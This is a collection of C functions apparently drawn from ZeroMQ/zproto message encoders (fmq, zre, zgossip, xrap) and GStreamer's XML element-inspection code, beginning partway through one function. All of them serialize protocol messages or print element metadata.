FMQ_MSG_CHEEZBURGER: frame_size += 8; // sequence frame_size += 1; // operation frame_size += 4; if (self->filename) frame_size += strlen (self->filename); frame_size += 8; // offset frame_size += 1; // eof frame_size += 4; // Size is 4 octets if (self->headers) { self->headers_bytes = 0; char *item = (char *) zhash_first (self->headers); while (item) { self->headers_bytes += 1 + strlen (zhash_cursor (self->headers)); self->headers_bytes += 4 + strlen (item); item = (char *) zhash_next (self->headers); } } frame_size += self->headers_bytes; frame_size += 4; // Size is 4 octets if (self->chunk) frame_size += zchunk_size (self->chunk); break; case FMQ_MSG_SRSLY: frame_size += 1 + strlen (self->reason); break; case FMQ_MSG_RTFM: frame_size += 1 + strlen (self->reason); break; } // Now serialize message into the frame zmq_msg_t frame; zmq_msg_init_size (&frame, frame_size); self->needle = (byte *) zmq_msg_data (&frame); PUT_NUMBER2 (0xAAA0 | 3); PUT_NUMBER1 (self->id); size_t nbr_frames = 1; // Total number of frames to send switch (self->id) { case FMQ_MSG_OHAI: PUT_STRING ("FILEMQ"); PUT_NUMBER2 (FMQ_MSG_VERSION); break; case FMQ_MSG_ICANHAZ: if (self->path) { PUT_LONGSTR (self->path); } else PUT_NUMBER4 (0); // Empty string if (self->options) { PUT_NUMBER4 (zhash_size (self->options)); char *item = (char *) zhash_first (self->options); while (item) { PUT_STRING (zhash_cursor (self->options)); PUT_LONGSTR (item); item = (char *) zhash_next (self->options); } } else PUT_NUMBER4 (0); // Empty hash if (self->cache) { PUT_NUMBER4 (zhash_size (self->cache)); char *item = (char *) zhash_first (self->cache); while (item) { PUT_STRING (zhash_cursor (self->cache)); PUT_LONGSTR (item); item = (char *) zhash_next (self->cache); } } else PUT_NUMBER4 (0); // Empty hash break; case FMQ_MSG_NOM: PUT_NUMBER8 (self->credit); PUT_NUMBER8 (self->sequence); break; case FMQ_MSG_CHEEZBURGER: PUT_NUMBER8 (self->sequence); PUT_NUMBER1 (self->operation); if (self->filename) { PUT_LONGSTR (self->filename); } else PUT_NUMBER4 (0); // Empty string PUT_NUMBER8 (self->offset); PUT_NUMBER1 (self->eof); if (self->headers) { PUT_NUMBER4 (zhash_size (self->headers)); char *item = (char *) zhash_first (self->headers); while (item) { PUT_STRING (zhash_cursor (self->headers)); PUT_LONGSTR (item); item = (char *) zhash_next (self->headers); } } else PUT_NUMBER4 (0); // Empty hash if (self->chunk) { PUT_NUMBER4 (zchunk_size (self->chunk)); memcpy (self->needle, zchunk_data (self->chunk), zchunk_size (self->chunk)); self->needle += zchunk_size (self->chunk); } else PUT_NUMBER4 (0); // Empty chunk break; case FMQ_MSG_SRSLY: PUT_STRING (self->reason); break; case FMQ_MSG_RTFM: PUT_STRING (self->reason); break; } // Now send the data frame zmq_msg_send (&frame, zsock_resolve (output), --nbr_frames? ZMQ_SNDMORE: 0); return 0; }
int zre_msg_send (zre_msg_t **self_p, void *output) { assert (output); assert (self_p); assert (*self_p); // Calculate size of serialized data zre_msg_t *self = *self_p; size_t frame_size = 2 + 1; // Signature and message ID switch (self->id) { case ZRE_MSG_HELLO: // sequence is a 2-byte integer frame_size += 2; // ipaddress is a string with 1-byte length frame_size++; // Size is one octet if (self->ipaddress) frame_size += strlen (self->ipaddress); // mailbox is a 2-byte integer frame_size += 2; // groups is an array of strings frame_size++; // Size is one octet if (self->groups) { // Add up size of list contents char *groups = (char *) zlist_first (self->groups); while (groups) { frame_size += 1 + strlen (groups); groups = (char *) zlist_next (self->groups); } } // status is a 1-byte integer frame_size += 1; // headers is an array of key=value strings frame_size++; // Size is one octet if (self->headers) { self->headers_bytes = 0; // Add up size of dictionary contents zhash_foreach (self->headers, s_headers_count, self); } frame_size += self->headers_bytes; break; case ZRE_MSG_WHISPER: // sequence is a 2-byte integer frame_size += 2; break; case ZRE_MSG_SHOUT: // sequence is a 2-byte integer frame_size += 2; // group is a string with 1-byte length frame_size++; // Size is one octet if (self->group) frame_size += strlen (self->group); break; case ZRE_MSG_JOIN: // sequence is a 2-byte integer frame_size += 2; // group is a string with 1-byte length frame_size++; // Size is one octet if (self->group) frame_size += strlen (self->group); // status is a 1-byte integer frame_size += 1; break; case ZRE_MSG_LEAVE: // sequence is a 2-byte integer frame_size += 2; // group is a string with 1-byte length frame_size++; // Size is one octet if (self->group) frame_size += strlen (self->group); // status is a 1-byte integer frame_size += 1; break; case ZRE_MSG_PING: // sequence is a 2-byte integer frame_size += 2; break; case ZRE_MSG_PING_OK: // sequence is a 2-byte integer frame_size += 2; break; default: printf ("E: bad message type '%d', not sent\n", self->id); // No recovery, this is a fatal application error assert (false); } // Now serialize message into the frame zframe_t *frame = zframe_new (NULL, frame_size); self->needle = zframe_data (frame); size_t string_size; int frame_flags = 0; PUT_NUMBER2 (0xAAA0 | 1); PUT_NUMBER1 (self->id); switch (self->id) { case ZRE_MSG_HELLO: PUT_NUMBER2 (self->sequence); if (self->ipaddress) { PUT_STRING (self->ipaddress); } else PUT_NUMBER1 (0); // Empty string PUT_NUMBER2 (self->mailbox); if (self->groups != NULL) { PUT_NUMBER1 (zlist_size (self->groups)); char *groups = (char *) zlist_first (self->groups); while (groups) { PUT_STRING (groups); groups = (char *) zlist_next (self->groups); } } else PUT_NUMBER1 (0); // Empty string array PUT_NUMBER1 (self->status); if (self->headers != NULL) { PUT_NUMBER1 (zhash_size (self->headers)); zhash_foreach (self->headers, s_headers_write, self); } else PUT_NUMBER1 (0); // Empty dictionary break; case ZRE_MSG_WHISPER: PUT_NUMBER2 (self->sequence); frame_flags = ZFRAME_MORE; break; case ZRE_MSG_SHOUT: PUT_NUMBER2 (self->sequence); if (self->group) { PUT_STRING (self->group); } else PUT_NUMBER1 (0); // Empty string frame_flags = ZFRAME_MORE; break; case ZRE_MSG_JOIN: PUT_NUMBER2 (self->sequence); if (self->group) { PUT_STRING (self->group); } else PUT_NUMBER1 (0); // Empty string PUT_NUMBER1 (self->status); break; case ZRE_MSG_LEAVE: PUT_NUMBER2 (self->sequence); if (self->group) { PUT_STRING (self->group); } else PUT_NUMBER1 (0); // Empty string PUT_NUMBER1 (self->status); break; case ZRE_MSG_PING: PUT_NUMBER2 (self->sequence); break; case ZRE_MSG_PING_OK: PUT_NUMBER2 (self->sequence); break; } // If we're sending to a ROUTER, we send the address first if (zsocket_type (output) == ZMQ_ROUTER) { assert (self->address); if (zframe_send (&self->address, output, ZFRAME_MORE)) { zframe_destroy (&frame); zre_msg_destroy (self_p); return -1; } } // Now send the data frame if (zframe_send (&frame, output, frame_flags)) { zframe_destroy (&frame); zre_msg_destroy (self_p); return -1; } // Now send any frame fields, in order switch (self->id) { case ZRE_MSG_WHISPER: // If content isn't set, send an empty frame if (!self->content) self->content = zframe_new (NULL, 0); if (zframe_send (&self->content, output, 0)) { zframe_destroy (&frame); zre_msg_destroy (self_p); return -1; } break; case ZRE_MSG_SHOUT: // If content isn't set, send an empty frame if (!self->content) self->content = zframe_new (NULL, 0); if (zframe_send (&self->content, output, 0)) { zframe_destroy (&frame); zre_msg_destroy (self_p); return -1; } break; } // Destroy zre_msg object zre_msg_destroy (self_p); return 0; }
int zproto_example_send (zproto_example_t *self, zsock_t *output) { assert (self); assert (output); if (zsock_type (output) == ZMQ_ROUTER) zframe_send (&self->routing_id, output, ZFRAME_MORE + ZFRAME_REUSE); size_t frame_size = 2 + 1; // Signature and message ID switch (self->id) { case ZPROTO_EXAMPLE_LOG: frame_size += 2; // sequence frame_size += 2; // version frame_size += 1; // level frame_size += 1; // event frame_size += 2; // node frame_size += 2; // peer frame_size += 8; // time frame_size += 1 + strlen (self->host); frame_size += 4; if (self->data) frame_size += strlen (self->data); break; case ZPROTO_EXAMPLE_STRUCTURES: frame_size += 2; // sequence frame_size += 4; // Size is 4 octets if (self->aliases) { char *aliases = (char *) zlist_first (self->aliases); while (aliases) { frame_size += 4 + strlen (aliases); aliases = (char *) zlist_next (self->aliases); } } frame_size += 4; // Size is 4 octets if (self->headers) { self->headers_bytes = 0; char *item = (char *) zhash_first (self->headers); while (item) { self->headers_bytes += 1 + strlen (zhash_cursor (self->headers)); self->headers_bytes += 4 + strlen (item); item = (char *) zhash_next (self->headers); } } frame_size += self->headers_bytes; break; case ZPROTO_EXAMPLE_BINARY: frame_size += 2; // sequence frame_size += 4; // flags frame_size += 4; // Size is 4 octets if (self->public_key) frame_size += zchunk_size (self->public_key); frame_size += ZUUID_LEN; // identifier break; case ZPROTO_EXAMPLE_TYPES: frame_size += 2; // sequence frame_size += 1 + strlen (self->client_forename); frame_size += 1 + strlen (self->client_surname); frame_size += 1 + strlen (self->client_mobile); frame_size += 1 + strlen (self->client_email); frame_size += 1 + strlen (self->supplier_forename); frame_size += 1 + strlen (self->supplier_surname); frame_size += 1 + strlen (self->supplier_mobile); frame_size += 1 + strlen (self->supplier_email); break; } // Now serialize message into the frame zmq_msg_t frame; zmq_msg_init_size (&frame, frame_size); self->needle = (byte *) zmq_msg_data (&frame); PUT_NUMBER2 (0xAAA0 | 0); PUT_NUMBER1 (self->id); bool have_content = false; size_t nbr_frames = 1; // Total number of frames to send switch (self->id) { case ZPROTO_EXAMPLE_LOG: PUT_NUMBER2 (self->sequence); PUT_NUMBER2 (3); PUT_NUMBER1 (self->level); PUT_NUMBER1 (self->event); PUT_NUMBER2 (self->node); PUT_NUMBER2 (self->peer); PUT_NUMBER8 (self->time); PUT_STRING (self->host); if (self->data) { PUT_LONGSTR (self->data); } else PUT_NUMBER4 (0); // Empty string break; case ZPROTO_EXAMPLE_STRUCTURES: PUT_NUMBER2 (self->sequence); if (self->aliases) { PUT_NUMBER4 (zlist_size (self->aliases)); char *aliases = (char *) zlist_first (self->aliases); while (aliases) { PUT_LONGSTR (aliases); aliases = (char *) zlist_next (self->aliases); } } else PUT_NUMBER4 (0); // Empty string array if (self->headers) { PUT_NUMBER4 (zhash_size (self->headers)); char *item = (char *) zhash_first (self->headers); while (item) { PUT_STRING (zhash_cursor (self->headers)); PUT_LONGSTR (item); item = (char *) zhash_next (self->headers); } } else PUT_NUMBER4 (0); // Empty hash break; case ZPROTO_EXAMPLE_BINARY: PUT_NUMBER2 (self->sequence); PUT_OCTETS (self->flags, 4); if (self->public_key) { PUT_NUMBER4 (zchunk_size (self->public_key)); memcpy (self->needle, zchunk_data (self->public_key), zchunk_size (self->public_key)); self->needle += zchunk_size (self->public_key); } else PUT_NUMBER4 (0); // Empty chunk if (self->identifier) zuuid_export (self->identifier, self->needle); else memset (self->needle, 0, ZUUID_LEN); self->needle += ZUUID_LEN; nbr_frames++; nbr_frames += self->content? zmsg_size (self->content): 1; have_content = true; break; case ZPROTO_EXAMPLE_TYPES: PUT_NUMBER2 (self->sequence); PUT_STRING (self->client_forename); PUT_STRING (self->client_surname); PUT_STRING (self->client_mobile); PUT_STRING (self->client_email); PUT_STRING (self->supplier_forename); PUT_STRING (self->supplier_surname); PUT_STRING (self->supplier_mobile); PUT_STRING (self->supplier_email); break; } // Now send the data frame zmq_msg_send (&frame, zsock_resolve (output), --nbr_frames? ZMQ_SNDMORE: 0); // Now send any frame fields, in order if (self->id == ZPROTO_EXAMPLE_BINARY) { // If address isn't set, send an empty frame if (self->address) zframe_send (&self->address, output, ZFRAME_REUSE + (--nbr_frames? ZFRAME_MORE: 0)); else zmq_send (zsock_resolve (output), NULL, 0, (--nbr_frames? ZMQ_SNDMORE: 0)); } // Now send the content if necessary if (have_content) { if (self->content) { zframe_t *frame = zmsg_first (self->content); while (frame) { zframe_send (&frame, output, ZFRAME_REUSE + (--nbr_frames? ZFRAME_MORE: 0)); frame = zmsg_next (self->content); } } else zmq_send (zsock_resolve (output), NULL, 0, 0); } return 0; }
zmsg_t * zgossip_msg_encode (zgossip_msg_t **self_p) { assert (self_p); assert (*self_p); zgossip_msg_t *self = *self_p; zmsg_t *msg = zmsg_new (); size_t frame_size = 2 + 1; // Signature and message ID switch (self->id) { case ZGOSSIP_MSG_HELLO: break; case ZGOSSIP_MSG_ANNOUNCE: // endpoint is a string with 1-byte length frame_size++; // Size is one octet if (self->endpoint) frame_size += strlen (self->endpoint); // service is a string with 1-byte length frame_size++; // Size is one octet if (self->service) frame_size += strlen (self->service); break; case ZGOSSIP_MSG_PING: break; case ZGOSSIP_MSG_PONG: break; case ZGOSSIP_MSG_INVALID: break; default: printf ("E: bad message type '%d', not sent\n", self->id); // No recovery, this is a fatal application error assert (false); } // Now serialize message into the frame zframe_t *frame = zframe_new (NULL, frame_size); self->needle = zframe_data (frame); PUT_NUMBER2 (0xAAA0 | 0); PUT_NUMBER1 (self->id); switch (self->id) { case ZGOSSIP_MSG_HELLO: break; case ZGOSSIP_MSG_ANNOUNCE: if (self->endpoint) { PUT_STRING (self->endpoint); } else PUT_NUMBER1 (0); // Empty string if (self->service) { PUT_STRING (self->service); } else PUT_NUMBER1 (0); // Empty string break; case ZGOSSIP_MSG_PING: break; case ZGOSSIP_MSG_PONG: break; case ZGOSSIP_MSG_INVALID: break; } // Now send the data frame if (zmsg_append (msg, &frame)) { zmsg_destroy (&msg); zgossip_msg_destroy (self_p); return NULL; } // Destroy zgossip_msg object zgossip_msg_destroy (self_p); return msg; }
static gint print_element_info (GstElementFactory * factory) { GstElement *element; #ifndef GST_DISABLE_LOADSAVE GstObjectClass *gstobject_class; #endif GstElementClass *gstelement_class; GList *pads; GstPad *pad; GstStaticPadTemplate *padtemplate; gint maxlevel = 0; element = gst_element_factory_create (factory, "element"); if (!element) { g_print ("couldn't construct element for some reason\n"); return -1; } PUT_START_TAG (0, "element"); PUT_ESCAPED (1, "name", GST_PLUGIN_FEATURE_NAME (factory)); #ifndef GST_DISABLE_LOADSAVE gstobject_class = GST_OBJECT_CLASS (G_OBJECT_GET_CLASS (element)); #endif gstelement_class = GST_ELEMENT_CLASS (G_OBJECT_GET_CLASS (element)); PUT_START_TAG (1, "details"); PUT_ESCAPED (2, "long-name", factory->details.longname); PUT_ESCAPED (2, "class", factory->details.klass); PUT_ESCAPED (2, "description", factory->details.description); PUT_ESCAPED (2, "authors", factory->details.author); PUT_END_TAG (1, "details"); output_hierarchy (G_OBJECT_TYPE (element), 0, &maxlevel); PUT_START_TAG (1, "pad-templates"); if (factory->numpadtemplates) { pads = factory->staticpadtemplates; while (pads) { padtemplate = (GstStaticPadTemplate *) (pads->data); pads = g_list_next (pads); PUT_START_TAG (2, "pad-template"); PUT_ESCAPED (3, "name", padtemplate->name_template); if (padtemplate->direction == GST_PAD_SRC) PUT_ESCAPED (3, "direction", "src"); else if (padtemplate->direction == GST_PAD_SINK) PUT_ESCAPED (3, "direction", "sink"); else PUT_ESCAPED (3, "direction", "unknown"); if (padtemplate->presence == GST_PAD_ALWAYS) PUT_ESCAPED (3, "presence", "always"); else if (padtemplate->presence == GST_PAD_SOMETIMES) PUT_ESCAPED (3, "presence", "sometimes"); else if (padtemplate->presence == GST_PAD_REQUEST) { PUT_ESCAPED (3, "presence", "request"); PUT_ESCAPED (3, "request-function", GST_DEBUG_FUNCPTR_NAME (gstelement_class->request_new_pad)); } else PUT_ESCAPED (3, "presence", "unknown"); if (padtemplate->static_caps.string) { print_caps (gst_static_caps_get (&padtemplate->static_caps), 3); } PUT_END_TAG (2, "pad-template"); } } PUT_END_TAG (1, "pad-templates"); PUT_START_TAG (1, "element-flags"); PUT_END_TAG (1, "element-flags"); if (GST_IS_BIN (element)) { PUT_START_TAG (1, "bin-flags"); PUT_END_TAG (1, "bin-flags"); } PUT_START_TAG (1, "element-implementation"); PUT_STRING (2, "<state-change function=\"%s\"/>", GST_DEBUG_FUNCPTR_NAME (gstelement_class->change_state)); #ifndef GST_DISABLE_LOADSAVE PUT_STRING (2, "<save function=\"%s\"/>", GST_DEBUG_FUNCPTR_NAME (gstobject_class->save_thyself)); PUT_STRING (2, "<load function=\"%s\"/>", GST_DEBUG_FUNCPTR_NAME (gstobject_class->restore_thyself)); #endif PUT_END_TAG (1, "element-implementation"); PUT_START_TAG (1, "clocking-interaction"); if (gst_element_requires_clock (element)) { PUT_STRING (2, "<requires-clock/>"); } if (gst_element_provides_clock (element)) { GstClock *clock; clock = gst_element_get_clock (element); if (clock) PUT_STRING (2, "<provides-clock name=\"%s\"/>", GST_OBJECT_NAME (clock)); } PUT_END_TAG (1, "clocking-interaction"); if (gst_element_is_indexable (element)) { PUT_STRING (1, "<indexing-capabilities/>"); } PUT_START_TAG (1, "pads"); if (element->numpads) { const GList *pads; pads = element->pads; while (pads) { pad = GST_PAD (pads->data); pads = g_list_next (pads); PUT_START_TAG (2, "pad"); PUT_ESCAPED (3, "name", gst_pad_get_name (pad)); if (gst_pad_get_direction (pad) == GST_PAD_SRC) PUT_ESCAPED (3, "direction", "src"); else if (gst_pad_get_direction (pad) == GST_PAD_SINK) PUT_ESCAPED (3, "direction", "sink"); else PUT_ESCAPED (3, "direction", "unknown"); if (pad->padtemplate) PUT_ESCAPED (3, "template", pad->padtemplate->name_template); PUT_START_TAG (3, "implementation"); if (pad->chainfunc) PUT_STRING (4, "<chain-based function=\"%s\"/>", GST_DEBUG_FUNCPTR_NAME (pad->chainfunc)); if (pad->getrangefunc) PUT_STRING (4, "<get-range-based function=\"%s\"/>", GST_DEBUG_FUNCPTR_NAME (pad->getrangefunc)); if (pad->eventfunc != gst_pad_event_default) PUT_STRING (4, "<event-function function=\"%s\"/>", GST_DEBUG_FUNCPTR_NAME (pad->eventfunc)); if (pad->queryfunc != gst_pad_query_default) PUT_STRING (4, "<query-function function=\"%s\"/>", GST_DEBUG_FUNCPTR_NAME (pad->queryfunc)); if (pad->querytypefunc != gst_pad_get_query_types_default) { PUT_STRING (4, "<query-type-func function=\"%s\">", GST_DEBUG_FUNCPTR_NAME (pad->querytypefunc)); print_query_types (gst_pad_get_query_types (pad), 5); PUT_END_TAG (4, "query-type-func"); } if (pad->iterintlinkfunc != gst_pad_iterate_internal_links_default) PUT_STRING (4, "<iterintlink-function function=\"%s\"/>", GST_DEBUG_FUNCPTR_NAME (pad->iterintlinkfunc)); if (pad->bufferallocfunc) PUT_STRING (4, "<bufferalloc-function function=\"%s\"/>", GST_DEBUG_FUNCPTR_NAME (pad->bufferallocfunc)); PUT_END_TAG (3, "implementation"); if (pad->caps) { print_caps (pad->caps, 3); } PUT_END_TAG (2, "pad"); } } PUT_END_TAG (1, "pads"); print_element_properties (element, 1); print_element_signals (element, 1); /* for compound elements */ /* FIXME: gst_bin_get_list does not exist anymore if (GST_IS_BIN (element)) { GList *children; GstElement *child; PUT_START_TAG (1, "children"); children = (GList *) gst_bin_get_list (GST_BIN (element)); while (children) { child = GST_ELEMENT (children->data); children = g_list_next (children); PUT_ESCAPED (2, "child", GST_ELEMENT_NAME (child)); } PUT_END_TAG (1, "children"); } */ PUT_END_TAG (0, "element"); return 0; }
static void print_element_properties (GstElement * element, gint pfx) { GParamSpec **property_specs; guint num_properties; gint i; gboolean readable; property_specs = g_object_class_list_properties (G_OBJECT_GET_CLASS (element), &num_properties); PUT_START_TAG (pfx, "element-properties"); for (i = 0; i < num_properties; i++) { GValue value = { 0, }; GParamSpec *param = property_specs[i]; readable = FALSE; g_value_init (&value, param->value_type); if (param->flags & G_PARAM_READABLE) { g_object_get_property (G_OBJECT (element), param->name, &value); readable = TRUE; } PUT_START_TAG (pfx + 1, "element-property"); PUT_ESCAPED (pfx + 2, "name", g_param_spec_get_name (param)); PUT_ESCAPED (pfx + 2, "type", g_type_name (param->value_type)); PUT_ESCAPED (pfx + 2, "nick", g_param_spec_get_nick (param)); PUT_ESCAPED (pfx + 2, "blurb", g_param_spec_get_blurb (param)); if (readable) { PUT_ESCAPED (pfx + 2, "flags", "RW"); } else { PUT_ESCAPED (pfx + 2, "flags", "W"); } switch (G_VALUE_TYPE (&value)) { case G_TYPE_STRING: PUT_ESCAPED (pfx + 2, "default", g_strdup_value_contents (&value)); break; case G_TYPE_BOOLEAN: PUT_ESCAPED (pfx + 2, "default", g_strdup_value_contents (&value)); break; case G_TYPE_ULONG: { GParamSpecULong *pulong = G_PARAM_SPEC_ULONG (param); PUT_STRING (pfx + 2, "<range min=\"%lu\" max=\"%lu\"/>", pulong->minimum, pulong->maximum); PUT_ESCAPED (pfx + 2, "default", g_strdup_value_contents (&value)); break; } case G_TYPE_LONG: { GParamSpecLong *plong = G_PARAM_SPEC_LONG (param); PUT_STRING (pfx + 2, "<range min=\"%ld\" max=\"%ld\"/>", plong->minimum, plong->maximum); PUT_ESCAPED (pfx + 2, "default", g_strdup_value_contents (&value)); break; } case G_TYPE_UINT: { GParamSpecUInt *puint = G_PARAM_SPEC_UINT (param); PUT_STRING (pfx + 2, "<range min=\"%u\" max=\"%u\"/>", puint->minimum, puint->maximum); PUT_ESCAPED (pfx + 2, "default", g_strdup_value_contents (&value)); break; } case G_TYPE_INT: { GParamSpecInt *pint = G_PARAM_SPEC_INT (param); PUT_STRING (pfx + 2, "<range min=\"%d\" max=\"%d\"/>", pint->minimum, pint->maximum); PUT_ESCAPED (pfx + 2, "default", g_strdup_value_contents (&value)); break; } case G_TYPE_UINT64: { GParamSpecUInt64 *puint64 = G_PARAM_SPEC_UINT64 (param); PUT_STRING (pfx + 2, "<range min=\"%" G_GUINT64_FORMAT "\" max=\"%" G_GUINT64_FORMAT "\"/>", puint64->minimum, puint64->maximum); PUT_ESCAPED (pfx + 2, "default", g_strdup_value_contents (&value)); break; } case G_TYPE_INT64: { GParamSpecInt64 *pint64 = G_PARAM_SPEC_INT64 (param); PUT_STRING (pfx + 2, "<range min=\"%" G_GINT64_FORMAT "\" max=\"%" G_GINT64_FORMAT "\"/>", pint64->minimum, pint64->maximum); PUT_ESCAPED (pfx + 2, "default", g_strdup_value_contents (&value)); break; } case G_TYPE_FLOAT: { GParamSpecFloat *pfloat = G_PARAM_SPEC_FLOAT (param); PUT_STRING (pfx + 2, "<range min=\"%f\" max=\"%f\"/>", pfloat->minimum, pfloat->maximum); PUT_ESCAPED (pfx + 2, "default", g_strdup_value_contents (&value)); break; } case G_TYPE_DOUBLE: { GParamSpecDouble *pdouble = G_PARAM_SPEC_DOUBLE (param); PUT_STRING (pfx + 2, "<range min=\"%g\" max=\"%g\"/>", pdouble->minimum, pdouble->maximum); PUT_ESCAPED (pfx + 2, "default", g_strdup_value_contents (&value)); break; } default: if (param->value_type == GST_TYPE_CAPS) { GstCaps *caps = g_value_peek_pointer (&value); if (!caps) PUT_ESCAPED (pfx + 2, "default", "NULL"); else { print_caps (caps, 2); } } else if (G_IS_PARAM_SPEC_ENUM (param)) { GEnumValue *values; guint j = 0; gint enum_value; values = G_ENUM_CLASS (g_type_class_ref (param->value_type))->values; enum_value = g_value_get_enum (&value); while (values[j].value_name) { if (values[j].value == enum_value) break; j++; } PUT_STRING (pfx + 2, "<default>%d</default>", values[j].value); PUT_START_TAG (pfx + 2, "enum-values"); j = 0; while (values[j].value_name) { PUT_STRING (pfx + 3, "<value value=\"%d\" nick=\"%s\"/>", values[j].value, values[j].value_nick); j++; } PUT_END_TAG (pfx + 2, "enum-values"); } else if (G_IS_PARAM_SPEC_FLAGS (param)) { GFlagsValue *values; guint j = 0; gint flags_value; values = G_FLAGS_CLASS (g_type_class_ref (param->value_type))->values; flags_value = g_value_get_flags (&value); PUT_STRING (pfx + 2, "<default>%d</default>", flags_value); PUT_START_TAG (pfx + 2, "flags"); j = 0; while (values[j].value_name) { PUT_STRING (pfx + 3, "<flag value=\"%d\" nick=\"%s\"/>", values[j].value, values[j].value_nick); j++; } PUT_END_TAG (pfx + 2, "flags"); } else if (G_IS_PARAM_SPEC_OBJECT (param)) { PUT_ESCAPED (pfx + 2, "object-type", g_type_name (param->value_type)); } break; } PUT_END_TAG (pfx + 1, "element-property"); } PUT_END_TAG (pfx, "element-properties"); g_free (property_specs); }
zmsg_t * zgossip_msg_encode (zgossip_msg_t **self_p) { assert (self_p); assert (*self_p); zgossip_msg_t *self = *self_p; zmsg_t *msg = zmsg_new (); size_t frame_size = 2 + 1; // Signature and message ID switch (self->id) { case ZGOSSIP_MSG_HELLO: // version is a 1-byte integer frame_size += 1; break; case ZGOSSIP_MSG_PUBLISH: // version is a 1-byte integer frame_size += 1; // key is a string with 1-byte length frame_size++; // Size is one octet if (self->key) frame_size += strlen (self->key); // value is a string with 1-byte length frame_size++; // Size is one octet if (self->value) frame_size += strlen (self->value); break; case ZGOSSIP_MSG_PING: // version is a 1-byte integer frame_size += 1; break; case ZGOSSIP_MSG_PONG: // version is a 1-byte integer frame_size += 1; break; case ZGOSSIP_MSG_INVALID: // version is a 1-byte integer frame_size += 1; break; default: zsys_error ("bad message type '%d', not sent\n", self->id); // No recovery, this is a fatal application error assert (false); } // Now serialize message into the frame zframe_t *frame = zframe_new (NULL, frame_size); self->needle = zframe_data (frame); PUT_NUMBER2 (0xAAA0 | 0); PUT_NUMBER1 (self->id); switch (self->id) { case ZGOSSIP_MSG_HELLO: PUT_NUMBER1 (1); break; case ZGOSSIP_MSG_PUBLISH: PUT_NUMBER1 (1); if (self->key) { PUT_STRING (self->key); } else PUT_NUMBER1 (0); // Empty string if (self->value) { PUT_STRING (self->value); } else PUT_NUMBER1 (0); // Empty string break; case ZGOSSIP_MSG_PING: PUT_NUMBER1 (1); break; case ZGOSSIP_MSG_PONG: PUT_NUMBER1 (1); break; case ZGOSSIP_MSG_INVALID: PUT_NUMBER1 (1); break; } // Now send the data frame if (zmsg_append (msg, &frame)) { zmsg_destroy (&msg); zgossip_msg_destroy (self_p); return NULL; } // Destroy zgossip_msg object zgossip_msg_destroy (self_p); return msg; }
int xrap_traffic_send (xrap_traffic_t *self, zsock_t *output) { assert (self); assert (output); if (zsock_type (output) == ZMQ_ROUTER) zframe_send (&self->routing_id, output, ZFRAME_MORE + ZFRAME_REUSE); size_t frame_size = 2 + 1; // Signature and message ID switch (self->id) { case XRAP_TRAFFIC_CONNECTION_OPEN: frame_size += 1 + strlen ("MALAMUTE"); frame_size += 2; // version frame_size += 1 + strlen (self->address); break; case XRAP_TRAFFIC_XRAP_SEND: frame_size += 4; // timeout break; case XRAP_TRAFFIC_XRAP_OFFER: frame_size += 1 + strlen (self->route); frame_size += 1 + strlen (self->method); break; case XRAP_TRAFFIC_XRAP_DELIVER: frame_size += ZUUID_LEN; // sender break; case XRAP_TRAFFIC_OK: frame_size += 2; // status_code frame_size += 1 + strlen (self->status_reason); break; case XRAP_TRAFFIC_FAIL: frame_size += 2; // status_code frame_size += 1 + strlen (self->status_reason); break; case XRAP_TRAFFIC_ERROR: frame_size += 2; // status_code frame_size += 1 + strlen (self->status_reason); break; } // Now serialize message into the frame zmq_msg_t frame; zmq_msg_init_size (&frame, frame_size); self->needle = (byte *) zmq_msg_data (&frame); PUT_NUMBER2 (0xAAA0 | 9); PUT_NUMBER1 (self->id); bool have_content = false; size_t nbr_frames = 1; // Total number of frames to send switch (self->id) { case XRAP_TRAFFIC_CONNECTION_OPEN: PUT_STRING ("MALAMUTE"); PUT_NUMBER2 (1); PUT_STRING (self->address); break; case XRAP_TRAFFIC_XRAP_SEND: PUT_NUMBER4 (self->timeout); nbr_frames += self->content? zmsg_size (self->content): 1; have_content = true; break; case XRAP_TRAFFIC_XRAP_OFFER: PUT_STRING (self->route); PUT_STRING (self->method); break; case XRAP_TRAFFIC_XRAP_DELIVER: if (self->sender) zuuid_export (self->sender, self->needle); else memset (self->needle, 0, ZUUID_LEN); self->needle += ZUUID_LEN; nbr_frames += self->content? zmsg_size (self->content): 1; have_content = true; break; case XRAP_TRAFFIC_OK: PUT_NUMBER2 (self->status_code); PUT_STRING (self->status_reason); break; case XRAP_TRAFFIC_FAIL: PUT_NUMBER2 (self->status_code); PUT_STRING (self->status_reason); break; case XRAP_TRAFFIC_ERROR: PUT_NUMBER2 (self->status_code); PUT_STRING (self->status_reason); break; } // Now send the data frame zmq_msg_send (&frame, zsock_resolve (output), --nbr_frames? ZMQ_SNDMORE: 0); // Now send the content if necessary if (have_content) { if (self->content) { zframe_t *frame = zmsg_first (self->content); while (frame) { zframe_send (&frame, output, ZFRAME_REUSE + (--nbr_frames? ZFRAME_MORE: 0)); frame = zmsg_next (self->content); } } else zmq_send (zsock_resolve (output), NULL, 0, 0); } return 0; }